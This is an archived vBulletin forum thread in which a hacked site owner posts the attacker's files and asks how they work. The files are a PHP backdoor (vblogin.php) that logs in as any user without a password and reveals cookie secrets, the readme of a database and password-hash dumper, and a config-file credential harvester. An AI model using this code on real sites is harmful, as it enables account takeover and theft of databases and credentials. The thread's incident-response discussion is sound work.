Go Back   vb.org Archive > vBulletin 4 Discussion > vB4 General Discussions
FAQ Community Calendar Today's Posts Search

Reply
 
Thread Tools Display Modes
  #1  
Old 11-06-2014, 07:42 AM
Muhammad Rahman Muhammad Rahman is offline
 
Join Date: Jun 2012
Posts: 152
Благодарил(а): 0 раз(а)
Поблагодарили: 0 раз(а) в 0 сообщениях
Default vBulletin hack with vblogin.php

cek this post : https://theadminzone.com/threads/vbu...2/#post-932481
Reply With Quote
  #2  
Old 11-06-2014, 07:47 AM
Dave Dave is offline
 
Join Date: May 2010
Posts: 2,583
Благодарил(а): 0 раз(а)
Поблагодарили: 0 раз(а) в 0 сообщениях
Default

What is the question?
Reply With Quote
  #3  
Old 11-06-2014, 07:53 AM
Muhammad Rahman Muhammad Rahman is offline
 
Join Date: Jun 2012
Posts: 152
Благодарил(а): 0 раз(а)
Поблагодарили: 0 раз(а) в 0 сообщениях
Default

Quote:
Originally Posted by Dave View Post
What is the question?
only share information ..
hacker dump database .. cek my post at the admin zone
Reply With Quote
  #4  
Old 11-06-2014, 09:30 AM
ozzy47's Avatar
ozzy47 ozzy47 is offline
 
Join Date: Jul 2009
Location: USA
Posts: 10,929
Благодарил(а): 0 раз(а)
Поблагодарили: 0 раз(а) в 0 сообщениях
Default

Well the post is deleted or hidden there, so we know nothing.
Reply With Quote
Благодарность от:
tbworld
  #5  
Old 11-06-2014, 09:47 AM
Muhammad Rahman Muhammad Rahman is offline
 
Join Date: Jun 2012
Posts: 152
Благодарил(а): 0 раз(а)
Поблагодарили: 0 раз(а) в 0 сообщениях
Default

ok ..
this script vblogin.php

PHP Code:
<?php

require_once('./global.php');
define('SELF'$_SERVER['PHP_SELF']);

function 
verify_authentication2($username)
{
    global 
$vbulletin;

    
$username strip_blank_ascii($username' ');
    
$charset strtolower(vB_Template_Runtime::fetchStyleVar('charset')) == 'iso-8859-1' 'windows-1252' vB_Template_Runtime::fetchStyleVar('charset');
    
$username preg_replace(
        
'/&#([0-9]+);/ie',
        
"convert_unicode_char_to_charset('\\1', '$charset')",
        
$username
    
);

    if (
$vbulletin->userinfo $vbulletin->db->query_first("SELECT userid, usergroupid, membergroupids, infractiongroupids, username, password, salt FROM " TABLE_PREFIX "user WHERE username = '" $vbulletin->db->escape_string(htmlspecialchars_uni($username)) . "'"))
    {
        
set_authentication_cookies($cookieuser);

        
$return_value true;
        (
$hook vBulletinHook::fetch_hook('login_verify_success')) ? eval($hook) : false;
        return 
$return_value;
    }

    
$return_value false;
    (
$hook vBulletinHook::fetch_hook('login_verify_failure_username')) ? eval($hook) : false;
    return 
$return_value;
}

$guess = array();
$known = array(
    
'archive',
    
'clientscript',
    
'cpstyles',
    
'customavatars',
    
'customgroupicons',
    
'customprofilepics',
    
'attach',
    
'forumrunner',
    
'images',
    
'includes',
    
'install',
    
'packages',
    
'signaturepics',
    
'store_sitemap',
    
'vb'
);
$admindir $vbulletin->config['Misc']['admincpdir'];
$complete $vbulletin->options['bburl'] . '/' $admindir '/index.php';
$results scandir('.');

foreach (
$results as $result) {
    if (
$result == '.' or $result == '..') continue;

    if (
is_dir('./' $result)) {
        if(
in_array($result$known)) continue;
        if(@
file_exists($result '/adminlog.php'))
        {
            
$guess[] = $result;
        } else {
            continue;
        }
    }
}

if(isset(
$_GET['do']) && $_GET['do'] == 'login' && isset($_GET['username']))
{
    require_once(
DIR '/includes/functions_login.php');
    
    
$username $_GET['username'];
    
$q "SELECT username FROM " TABLE_PREFIX "user WHERE username = '" $vbulletin->db->escape_string($username) . "' OR userid = '" $vbulletin->db->escape_string($username) . "'";
    
$query $vbulletin->db->query_first($q);
    if(
$query['username'] != null)
    {
        if(
verify_authentication2($query['username']))
        {
            
exec_unstrike_user($query['username']);
            
            
process_new_login('cplogin'truenull);
            
            
do_login_redirect();
        }
        else
        {
            die(
'Verify failed');
        }
    }
    else
    {
        die(
'User not found.');
    }
} else {
?>
<h1>vBulletin Login  | CP Login</h1>
<hr />
<form action="<?php echo SELF?>" method="get">
    <input type="hidden" name="do" value="login" />
    <input type="text" name="username" value="" />
    <input type="submit" name="login" value="Login as user" />
</form>
<hr />
<p>AdminCP directory detected in config: <a href="<?php echo $complete?>" target="_blank"><?php echo $complete?></a></p>
<p>Possible AdminCP directories (from existing subdirectories minus vBulletin standard): <?php foreach($guess as $dir) { echo '<a href="' $vbulletin->options['bburl'] . '/' $dir '/index.php" target="_blank">' $dir '</a> '; }?></p>
<hr />
<p>Table prefix: <?php echo TABLE_PREFIX?></P>
<p>Cookie prefix: <?php echo COOKIE_PREFIX?></P>
<p>Cookie salt: <?php echo COOKIE_SALT?></P>
<hr />
<?php
}

?>
Code:
                      __---__
                   _-       _--______
              __--( /     \ )XXXXXXXXXXXXX_
            --XXX(   O   O  )XXXXXXXXXXXXXXX-
           /XXX(       U     )        XXXXXXX\
         /XXXXX(              )--_  XXXXXXXXXXX\
        /XXXXX/ (      O     )   XXXXXX   \XXXXX\
        XXXXX/   /            XXXXXX   \__ \XXXXX----
        XXXXXX__/          XXXXXX         \__----  -
---___  XXX__/          XXXXXX      \__         ---
  --  --__/   ___/\  XXXXXX            /  ___---=
    -_    ___/    XXXXXX              '--- XXXXXX
      --\/XXX\ XXXXXX                      /XXXXX
        \XXXXXXXXX                        /XXXXX/
         \XXXXXX                        _/XXXXX/
           \XXXXX--__/              __-- XXXX/
            --XXXXXXX---------------  XXXXX--
               \XXXXXXXXXXXXXXXXXXXXXXXX-
                 --XXXXXXXXXXXXXXXXXX-
           * * * * * who ya gonna call? * * * * *
		   
MySQL Dumper v2.1 Copyright ? 2013

How to use:
Unzip the file in a writeable directory.
Go to /msd/install.php
It may find vBulletin config information and fill the form out automatically. If not enter it manually.
Click install and enjoy.

This uses a staggered dump process to dump larger databases.
I have been able to dump a 2GB database just fine with this.
As far as my testing goes it should dump most DB's with ease.
There are a lot of variables that go into a server, therefore I can not gurantee your experience will be the same.
The script may timeout for you. I think that it should work well for the most part.
If you have any problems with it or suggestions you can Jabber me: plumm@jabber.org or find me at http://byteoverflow.net.

Some features:
Dump DB
Drop DB
View tables in DB
Dump single table
Drop table
Prune table (TRUNCATE)
Insert row into table
Explore inside of table
Delete row in table
Edit row in table
Search table
vBulletin hash dumper
Install script (install.php)
Will search for possible vB config files and fill the install form out automatically if found.

Please keep this text file in the folder and visit: http://byteoverflow.net.

Updates in 2.1:
Staggered compression for bigger DB's and tables. The script shouldn't time out now when compressing a larger DB. Compresses 50 MB of data at a time.
Edited CSS
Just edited a few other things.


I hope you all enjoy this tool, Plum
and this two attach msd.zip and msd1.zip

i hope someone can give explan how this script work..
Attached Files
File Type: zip msd.zip (96.5 KB, 6 views)
File Type: zip msd(1).zip (124.1 KB, 5 views)
Reply With Quote
  #6  
Old 11-06-2014, 09:49 AM
ozzy47's Avatar
ozzy47 ozzy47 is offline
 
Join Date: Jul 2009
Location: USA
Posts: 10,929
Благодарил(а): 0 раз(а)
Поблагодарили: 0 раз(а) в 0 сообщениях
Default

Well you may have been hacked somehow.

Please read the following two blog posts:
http://www.vbulletin.com/forum/blogs...ve-been-hacked
http://www.vbulletin.com/forum/blogs...vbulletin-site
Reply With Quote
  #7  
Old 11-06-2014, 09:50 AM
Dave Dave is offline
 
Join Date: May 2010
Posts: 2,583
Благодарил(а): 0 раз(а)
Поблагодарили: 0 раз(а) в 0 сообщениях
Default

It's just a script which has some code copied from the real login.php file. After a successful login it redirect you to the admincp.

The second script is a database dumper.
Reply With Quote
  #8  
Old 11-06-2014, 09:56 AM
Muhammad Rahman Muhammad Rahman is offline
 
Join Date: Jun 2012
Posts: 152
Благодарил(а): 0 раз(а)
Поблагодарили: 0 раз(а) в 0 сообщениях
Default

Quote:
Originally Posted by ozzy47 View Post
Well you may have been hacked somehow.

Please read the following two blog posts:
http://www.vbulletin.com/forum/blogs...ve-been-hacked
http://www.vbulletin.com/forum/blogs...vbulletin-site
ok. thanks

Quote:
Originally Posted by Dave View Post
It's just a script which has some code copied from the real login.php file. After a successful login it redirect you to the admincp.

The second script is a database dumper.
but how hacker can upload to server
Reply With Quote
  #9  
Old 11-06-2014, 09:57 AM
ozzy47's Avatar
ozzy47 ozzy47 is offline
 
Join Date: Jul 2009
Location: USA
Posts: 10,929
Благодарил(а): 0 раз(а)
Поблагодарили: 0 раз(а) в 0 сообщениях
Default

Quote:
Originally Posted by Muhammad Rahman View Post
but how hacker can upload to server
Gonna be almost impossible to tell how they did it. Best thing to do is clean up everything, and secure the site/server.
Reply With Quote
  #10  
Old 11-06-2014, 10:02 AM
Muhammad Rahman Muhammad Rahman is offline
 
Join Date: Jun 2012
Posts: 152
Благодарил(а): 0 раз(а)
Поблагодарили: 0 раз(а) в 0 сообщениях
Default

Quote:
Originally Posted by ozzy47 View Post
Gonna be almost impossible to tell how they did it. Best thing to do is clean up everything, and secure the site/server.
hacker try to find config.php

PHP Code:
$root_path CleanDir($_SERVER['DOCUMENT_ROOT']);
$path1 "$root_path/includes/config.php";
$path2 "$root_path/forum/includes/config.php";
$path3 "$root_path/forums/includes/config.php";
$path4 "$root_path/foro/includes/config.php";
$path5 "$root_path/foros/includes/config.php";
$path6 "$root_path/board/includes/config.php";
$path7 "$root_path/community/includes/config.php";
$path8 "$root_path/vb/includes/config.php";
$path9 "$root_path/vbulletin/includes/config.php";
if (
file_exists($path1)) {
    include (
$path1);
    
$confighost $config['MasterServer']['servername'];
    
$configuser $config['MasterServer']['username'];
    
$configpassword $config['MasterServer']['password'];
    
$configport $config['MasterServer']['port'];
    echo 
"<center><b><font color='green'>vB config information found!</font></b></center>";
} elseif (
file_exists($path2)) {
    include (
$path2);
    
$confighost $config['MasterServer']['servername'];
    
$configuser $config['MasterServer']['username'];
    
$configpassword $config['MasterServer']['password'];
    
$configport $config['MasterServer']['port'];
    echo 
"<center><b><font color='green'>vB config information found!</font></b></center>";
} elseif (
file_exists($path3)) {
    include (
$path3);
    
$confighost $config['MasterServer']['servername'];
    
$configuser $config['MasterServer']['username'];
    
$configpassword $config['MasterServer']['password'];
    
$configport $config['MasterServer']['port'];
    echo 
"<center><b><font color='green'>vB config information found!</font></b></center>";
} elseif (
file_exists($path4)) {
    include (
$path4);
    
$confighost $config['MasterServer']['servername'];
    
$configuser $config['MasterServer']['username'];
    
$configpassword $config['MasterServer']['password'];
    
$configport $config['MasterServer']['port'];
    echo 
"<center><b><font color='green'>vB config information found!</font></b></center>";
} elseif (
file_exists($path5)) {
    include (
$path5);
    
$confighost $config['MasterServer']['servername'];
    
$configuser $config['MasterServer']['username'];
    
$configpassword $config['MasterServer']['password'];
    
$configport $config['MasterServer']['port'];
    echo 
"<center><b><font color='green'>vB config information found!</font></b></center>";
} elseif (
file_exists($path6)) {
    include (
$path6);
    
$confighost $config['MasterServer']['servername'];
    
$configuser $config['MasterServer']['username'];
    
$configpassword $config['MasterServer']['password'];
    
$configport $config['MasterServer']['port'];
    echo 
"<center><b><font color='green'>vB config information found!</font></b></center>";
} elseif (
file_exists($path7)) {
    include (
$path7);
    
$confighost $config['MasterServer']['servername'];
    
$configuser $config['MasterServer']['username'];
    
$configpassword $config['MasterServer']['password'];
    
$configport $config['MasterServer']['port'];
    echo 
"<center><b><font color='green'>vB config information found!</font></b></center>";
} elseif (
file_exists($path8)) {
    include (
$path8);
    
$confighost $config['MasterServer']['servername'];
    
$configuser $config['MasterServer']['username'];
    
$configpassword $config['MasterServer']['password'];
    
$configport $config['MasterServer']['port'];
    echo 
"<center><b><font color='green'>vB config information found!</font></b></center>";
} elseif (
file_exists($path9)) {
    include (
$path9);
    
$confighost $config['MasterServer']['servername'];
    
$configuser $config['MasterServer']['username'];
    
$configpassword $config['MasterServer']['password'];
    
$configport $config['MasterServer']['port'];
    echo 
"<center><b><font color='green'>vB config information found!</font></b></center>";
} else {
    
$confighost "localhost";
    
$configuser "";
    
$configpassword "";
    
$configport "3306";
    echo 
"<center><b><font color='red'>No vB config information found!</font></b></center>";

thanks for information
Reply With Quote
Reply


Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off

Forum Jump


All times are GMT. The time now is 08:42 AM.


Powered by vBulletin® Version 3.8.12 by vBS
Copyright ©2000 - 2025, vBulletin Solutions Inc.
X vBulletin 3.8.12 by vBS Debug Information
  • Page Generation 0.04750 seconds
  • Memory Usage 2,384KB
  • Queries Executed 14 (?)
More Information
Template Usage:
  • (1)SHOWTHREAD
  • (1)ad_footer_end
  • (1)ad_footer_start
  • (1)ad_header_end
  • (1)ad_header_logo
  • (1)ad_navbar_below
  • (1)ad_showthread_beforeqr
  • (1)ad_showthread_firstpost
  • (1)ad_showthread_firstpost_sig
  • (1)ad_showthread_firstpost_start
  • (1)bbcode_code
  • (2)bbcode_php
  • (5)bbcode_quote
  • (1)footer
  • (1)forumjump
  • (1)forumrules
  • (1)gobutton
  • (1)header
  • (1)headinclude
  • (1)navbar
  • (3)navbar_link
  • (120)option
  • (1)pagenav
  • (1)pagenav_curpage
  • (2)pagenav_pagelink
  • (10)post_thanks_box
  • (1)post_thanks_box_bit
  • (10)post_thanks_button
  • (1)post_thanks_javascript
  • (1)post_thanks_navbar_search
  • (1)post_thanks_postbit
  • (10)post_thanks_postbit_info
  • (10)postbit
  • (2)postbit_attachment
  • (10)postbit_onlinestatus
  • (10)postbit_wrapper
  • (1)spacer_close
  • (1)spacer_open
  • (1)tagbit_wrapper 

Phrase Groups Available:
  • global
  • inlinemod
  • postbit
  • posting
  • reputationlevel
  • showthread
Included Files:
  • ./showthread.php
  • ./global.php
  • ./includes/init.php
  • ./includes/class_core.php
  • ./includes/config.php
  • ./includes/functions.php
  • ./includes/class_hook.php
  • ./includes/modsystem_functions.php
  • ./includes/functions_bigthree.php
  • ./includes/class_postbit.php
  • ./includes/class_bbcode.php
  • ./includes/functions_reputation.php
  • ./includes/functions_post_thanks.php 

Hooks Called:
  • init_startup
  • init_startup_session_setup_start
  • init_startup_session_setup_complete
  • cache_permissions
  • fetch_postinfo_query
  • fetch_postinfo
  • fetch_threadinfo_query
  • fetch_threadinfo
  • fetch_foruminfo
  • style_fetch
  • cache_templates
  • global_start
  • parse_templates
  • global_setup_complete
  • showthread_start
  • showthread_getinfo
  • forumjump
  • showthread_post_start
  • showthread_query_postids
  • showthread_query
  • bbcode_fetch_tags
  • bbcode_create
  • showthread_postbit_create
  • postbit_factory
  • postbit_display_start
  • post_thanks_function_post_thanks_off_start
  • post_thanks_function_post_thanks_off_end
  • post_thanks_function_fetch_thanks_start
  • fetch_musername
  • post_thanks_function_fetch_thanks_end
  • post_thanks_function_thanked_already_start
  • post_thanks_function_thanked_already_end
  • postbit_imicons
  • bbcode_parse_start
  • bbcode_parse_complete_precache
  • bbcode_parse_complete
  • postbit_display_complete
  • post_thanks_function_can_thank_this_post_start
  • post_thanks_function_fetch_thanks_bit_start
  • post_thanks_function_show_thanks_date_start
  • post_thanks_function_show_thanks_date_end
  • post_thanks_function_fetch_thanks_bit_end
  • post_thanks_function_fetch_post_thanks_template_start
  • post_thanks_function_fetch_post_thanks_template_end
  • postbit_attachment
  • pagenav_page
  • pagenav_complete
  • tag_fetchbit_complete
  • forumrules
  • navbits
  • navbits_complete
  • showthread_complete